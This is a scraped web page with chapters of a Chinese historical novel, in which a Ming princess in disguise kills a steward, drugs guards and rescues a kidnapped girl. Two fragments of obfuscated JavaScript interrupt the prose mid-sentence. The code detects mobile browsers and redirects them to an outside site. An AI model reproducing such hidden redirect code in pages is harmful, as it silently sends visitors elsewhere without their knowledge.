l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14811648|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也随父亲进入京城,在锦衣卫担任舍人,随侍陛下身旁。皇帝迟迟无子,陆炳虽然接连得了二子,却都早早夭折。直到嘉靖七年,皇长女降生,他几乎算是看着这个孱弱的婴孩一点点长大。 宫里宫外,皆以锦衣卫为酷吏,提之色变,皇长女却从小一副虎胆。她八岁那年,坐着光禄寺的骡车偷偷溜出宫门,惹得后宫一片大乱。可惜身上带的纹银都有宫内戳印,半天时间,就被陆炳查出踪迹。 她既不害怕,也不气馁,只是兴致勃勃地盯着陆炳腰间的绣春刀:“陆叔叔,你刚才那招叫什么,我也想学!” 陆炳随手扔给她一把三石的强弓,敷衍道:“殿下能把这个拉开,我就教你。” 军中所用的弓力不过七斗,能开九斗到一石已是百里挑一的勇士。像她这样瘦弱的小女孩,只怕一辈子也拉不开一把三石的弓。 ——但她确实拉开了。虽然脸憋得通红,胳膊颤巍巍的,发力姿势也不对,但她竟然拉开了! 和这令人瞠目的事实相比,那些虚无缥缈的,所谓仙童转世、莲花托生的传闻都显得可信了三分。 这绝对是个练武的奇才!可她不仅生错了地方,还生错了性别。 大明的公主,是没什么地位可言的。国朝初立时,太祖皇帝将公主下降于几位开国重臣,以示恩宠优渥,到头来还不是抄家的抄家,灭门的灭门,杀得只剩一个武定侯郭英。成祖时,为了稳固根基,以联姻的方式安抚人心,又将几位公主下降于靖难之役里立下大功的臣子。 此后江山稳固,公主和她的驸马就成了令皇权忌惮的外戚。于是驸马的人选从公侯之子转为庶民,不许文武大臣子弟得预。驸马都尉沦为一个无实权的封号,甚至一整个家族都再难参与政治。 比如皇长女的亲姑姑,献太后的女儿永淳公主,通过宦官们的推荐,在嘉靖六年嫁给了一个叫谢诏的平民男子,结果新婚后才发现丈夫是个秃顶。 顺天府如今还流传着那句民谣“……十好笑,公主换个现世报”。 她们是昂贵的锦缎,是秀丽的花瓶,是赏赐的礼物。朱连嬅虽然有些特别,可说到底也只是一朵带点祥瑞的莲花,早晚要嫁人的。 因此,那些饱读诗书的士大夫们打心底里看不起她。但皇帝如此宠爱过甚,又是入文华殿由当朝首辅开蒙,又是一意孤行违例册封公主,不免使他们心存忌惮。 “仇鸾已被调去陇右,接替他的居然是陆炳!” “陆炳又如何,线索已断,他难道能翻出天来?” “一个失踪两月的女童,诸公不会以为她还能安然无恙吧?”坐于中央的人姿态闲适地倒了杯茶,饮一小口,“这件事说到底又并非因我等而起。即便她真能回宫,皇上圣明,难道会信没有根据的流言蜚语?” ——那可不好说。没见皇上南巡回来先封了个“神霄保国弘烈宣教振法通真忠孝秉一真人”,对修道的热忱实在令人侧目。倘若这位莲花托生的仙童吹一吹耳边风,谁知道会刮起怎样一场巨浪? “彼一总角稚儿,能有何见识?诸公未免太谨慎了些。” “陆炳爱怎么查怎么查,我等按兵不动,隔岸观火就是。” 25. 第 25 章 得到消息的那一刻,许成仿佛被巨大的惊喜砸中了脑袋,简直有些不可置信。 直到在百花园外遥遥地望了一眼,他才确认这天底下真有买一赠一的好事! 和许多由他们精心挑选、诱骗来的不同,这位连姑娘并非断了根的浮萍,处理起来兴许有些麻烦。但她是殿下指了名要见的,那无论麻烦到什么程度,作为忠仆,都得为主子分忧解难。更何况,眼下的麻烦不过是碍于形势。 几天之前,在甜酒铺初见这位连姑娘时,许成立刻理解了殿下的执着。一朵小小的花苞,容光之盛,已叫人不可逼视,等到数年之后长开,可以想见会是个国色天香的美人。 可惜了,他想,但这也是没准的事,也许殿下疼爱她,下手会轻点呢。 他叫人给施校尉传了口信,说猎物已咬勾,而后拍拍长衫,一摇撒扇,从百花园的拐角处姗姗而来。 尽管身长不足六尺,但人靠衣装马靠鞍,许成又长了一张格外忠厚老实的脸,因此乍一看,这出场还有那么一点唬人。 “连姑娘找在下何事?” 他一时激动,甚至忘记了连嬅在甜酒铺里只充当过一两天记账跑腿的角色,后面多日缺勤,根本没有理由向他这位没见几面的客人自我介绍。 “我是来找珍娘的。”这个格外漂亮又格外愚蠢的姑娘神情急切又不安,长睫扑扇,“她从府里出来就不见踪影,摊位不在,家也没回……” 许成敛容正色,蹙起眉头:“她做完甜酒,收了钱,就从灶房走了。既然不在外面,兴许仍在府内逗留?”说完,又微微一笑,“连姑娘在园内少坐,我叫家丁四处找找。” 真是踏破铁鞋无觅处,得来全不费工夫! 多么唏嘘!她自己走进这张天罗地网,已经注定了插翅难逃的结局。 但连姑娘似乎对他手上的撒扇产生了兴趣,视线停留片刻,细声说:“这把‘倭扇’看着怪精丽的,我之前只在书里见到过。” 死到临头了,她还关注一把扇子,果然是孩子心性。许掌柜一愣,又笑道:“咱们升斗小民,哪用得起供物?仿品罢了,仿品罢了。” “这样啊。”连姑娘仿佛叹了口气,抿抿嘴,很不好意思地说,“珍娘毕竟是我的朋友,找人的事,我也想帮点忙。” 说完,她眼巴巴地看向许成。 这是一双不谙世事的眼睛,那么澄澈、透明,什么情绪都能一览无余。 留在百花园或者去个更隐蔽的地方,本质上没有任何区别。许成下意识地同意了,他握起拳,轻咳两声:“我们先去灶房附近找找看。” 府里有两间灶房,一间是正常供给伙食的,另一间则会提供一些加了料的东西。从这里出发,要绕过一长条回廊,穿越两道拱门。路上零零散散,又碰见几个家仆。有人目不斜视地经过,有人则留下意味深长的眼神。 连嬅顶着一副没见过世面的土包子样,好奇地四处张望。许成见了,心里暗暗发笑。忽然间,他想起什么,状似不经意地问:“听说连姑娘是我们荆州府张秀才定了亲的未婚妻?” ……谁造的谣? 连嬅瞪大眼睛,真实地震惊了,而后很快意识到自己应当为这种毁人清誉的谣言羞恼。她红了脸,愤怒又委屈:“我只是个来投奔的远亲……是谁这样胡诌!” 许成默默松口气:果然是那小蹄子骗人。他连声道歉,好不容易把人安抚下来。 ——假如真定了亲,这件事也许会麻烦一点。现在只是个远房亲戚,那连麻烦也省了。 假灶房里干干净净,连油污和烟灰都没有,只开了一道小窗。里面没人,除了一些米面肉菜,只有一大桶醪糟甜酒。 “姑娘走了这么长的路,不如先喝碗甜酒歇歇?人要是在府里,怎么也不能插翅膀跑了,咱们慢慢找。”许成笑眯眯地说完,顺手关上了门。 灶屋里瞬间显得逼仄又阴暗了。 连嬅站在窗口,背对着光仰起脸,语调轻轻地问:“这是珍娘煮的?” 她的左手背在身后,悄悄把袖子里的匕首顺了出来,拇指在鞘上一抵,又很快收回袖中。 ——不,还用不上。 许府里没看见什么诸如箭塔之类居高临下的军事设施——想想也是,真敢这样做,岂不是太惹眼了?门外的守卫固然人多势众,却散漫松懈,不足为惧,眼前的许掌柜亦是脚步虚浮,看不出一点受过训练的痕迹。 但她毕竟只有一条命。 她是来救人的,不是来杀人的。 “正是今早才煮好的。”许掌柜还在热情地推销那桶放倒过珍娘的甜酒,“我给姑娘盛一碗来。” 他侧过身,从旁边柜子里拿出一只碗。 连嬅别过头,看了眼窗外,起码十步之内没见人影。她叹口气,决定试探最后一句:“前些日子,珍娘的母亲不见了,到现在还没消息。” “你觉得,她还活着吗?” 这含着忧愁的稚嫩童声让许掌柜微微僵了一下:怎么忽然提起那位倒霉的豆腐西施了?但他秉持着演员的职业操守,还是绷住了神情,半是安慰半是感慨地说:“谁知道呢。女人嘛,都是些没脚蟹,老实一点说不定还有活路。” 他转过身,弯腰给连嬅盛酒,自觉今天的一切简直顺利到不可思议。小孩儿就是好哄,一个编两句谎就信了,巴巴地跟过来,另一个更是没脑子,竟然自投罗网!他的心高高地飘了起来:这趟差事真是办得一点儿错挑不出,等回去了该向殿下讨个什么样的赏呢…… 还没等他做完美梦,一只细嫩又温暖的手电光石火间扣住了他的咽喉。 这本来应该是一双柔软无害的手,可它掐人脖子时却像一道勒紧的铁链。他本能地想要挣脱,却使不出半点力气,甚至连求救的声音也发不出,肺部痉挛着,大脑在缺氧下变得混乱而模糊,只剩下极度的惊恐。 连嬅右手接过他手里滑落的碗,避免摔在地上引人注意。 她控制着左手的力气,既要保证这位许掌柜发不出声音,又不能一下子把人掐死了。 “不想死的话,我问你答,点头,或者摇头。” 这颗脑袋极小幅度地上下晃了晃。 “珍娘就在府里?” 点头。 “在东边?” 摇头。 “西边?” 缓慢点头。 “她娘也在府里?” 更缓慢地摇头。 许掌柜已经有些神志不清了,两眼翻白,只剩最后一缕气吊着。连嬅微微松开左手,她还没想就这么把人掐死。 新鲜的空气终于突破铁闸的阻隔,欢腾着涌进肺部。许成惊惧万分,用他异常粗哑、低沉的声音,发出最后支离破碎的求救:“来人……” 就像干枯河床上撒上去的两滴水,刚一落地,就消失得无影无踪。 他到死也想不明白,自己究竟招惹了一只什么样的怪物。 连嬅松开了手。 ——她本来不愿意杀人的,也给了他许多次机会,但是他自己找死。 她的心情格外平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14822702|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、甚至还有一点庆幸:幸好她足够小心,没有动刀,不然出了血可就很难处理了。 然后她有条不紊地把这位掌柜的外衣扒了下来,套在自己身上。虽然对她来说还是显得宽大,但袖口卷一卷,也不算惹眼。 灶屋里地方不大,倒是摆了好几只空木桶。这本来是她回馈给冤大头的一点心意,现在竟然派上了奇怪的用场。 守着库房的两位护卫一人端了一碗甜酒,漫不经心地牛饮着,喝半碗,洒半碗。最开始府里发酒喝时,他们还觉得挺新奇,连着喝了这些天,已经尝不出什么滋味儿了。 “咱们什么时候能换班,一天天空喝酒,实在没趣。” “听说今天来了个花容月貌的小妞儿。嘿嘿,说不准马上就能见到了。” 他的同伴不以为然:“嘁,又是个小孩儿,半点身段没有,有啥可看的?” 这座库房里时不时会送来一两个女人,有时则是女孩,这并不稀奇。只是近几天上面像是忽然换了胃口,送来拉走的都是些要胸没胸、要屁股没屁股的干豆芽。 里面漂亮乖顺的、能讨人欢心的,说不定还有飞上枝头变凤凰的机会。这可是几辈子修来的福分!偏偏总有不知道惜福的,比如里面那位,一醒过来就要死要活,实在扫兴! 酒喝完了,没过一会儿,两个人一前一后,歪歪扭扭地倒在地上。 ——这蒙汗药什么配方,见效还挺快。 连嬅从槐树的阴影后绕出来,快速环顾四周,暂时没人。她下手轻快地从一个人腰间取下钥匙,打开了库房的小门。 角落里蜷缩着一个小姑娘,头发散乱,脸脏兮兮的,背对着门,还在瑟瑟发抖。 连嬅几步走过去,伸手碰了碰她。 那具身体猛地一颤,扭过脸来,神情从恐惧转为难以置信。 是珍娘。 她想伸手拉她起来,珍娘却紧攥着她的手,扑倒在她身上。 “我来救你出去的。”她轻轻拍着她的背。 “你怎么来了?” ——这是一个略有些复杂的过程,不适合现在说,也不适合对一个小姑娘说。 “你先把外衣脱给我。” “为什么?”珍娘抬起脸,眼里闪着泪,敏感地意识到什么,“我们不能一块儿走吗?” 连嬅沉默了两秒:“我想去救你娘,你跟着去,也许有危险。” 她早该想到了。一个人失踪这么久,县衙没消息,府衙竟然也查不到消息,背后多半有鬼。前些日子那个安掌柜豪掷三十两银子买人——虽然他还想往自己兜里揣十两,但这已经是罕见的大手笔了。珍娘的姐姐瑞娘,才卖了五两银子呢。 而他手上的折扇,与许掌柜那把真是如出一辙地眼熟——荆州城虽然不临海,却坐落着巨大的辽王府啊。 如果不是因为尚在孝期,朱宪节何须绕这么大的弯子?等到假模假样守完孝,他看上谁,只需要带着侍卫当场抢回去。 在荆州这片土地上,他才是真正的王。 朱元璋对自己的龙子龙孙格外宽柔。《皇明祖训》首章写得清清楚楚:皇亲国戚有犯,在嗣君自决。除谋逆不赦外,其馀所犯,轻者与在京诸亲会议,重者与在外诸王及在京诸亲会议,皆取自上裁。其所犯之家,止许法司举奏,并不许擅自拿问。 百姓只是大明养的猪猡,谁会在意一个人吃了几顿猪肉? 但毛王妃还在朱宪节头上管着,他究竟靠什么手段掩人耳目?又是怎么把掳来的人悄无声息运进辽王城内的?